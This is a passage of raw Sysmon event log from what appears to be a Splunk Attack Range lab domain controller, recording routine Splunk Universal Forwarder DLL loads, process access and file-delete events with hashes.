Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.578{7BD73061-7520-613B-B50B-00000000F001}3004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.436{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=81A47B1B32BD4371B810D1C71B8880EA,SHA256=9AF1EFBC54C6AD8EAF6392EE13F5B51E095E7825D3D0D8A1CB125995FE3ED7D6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018292Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:20.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=210D366F5E58419DEB3970432C122F47,SHA256=90CBCFC1E477FAA8D5E5BA9A7F48CF8F4B48DDF9A10F9B8FEE4729A6B3F8FB7A,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.342{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.342{7BD73061-7520-613B-B40B-00000000F001}58564332C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.342{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.342{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D8503DCA1F54921115E28748967C3CD8,SHA256=A86664EAAACD5982B323EF1B6BFD5E44E4D4F27A88005862410D9A48B6800FFD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.108{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.092{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft 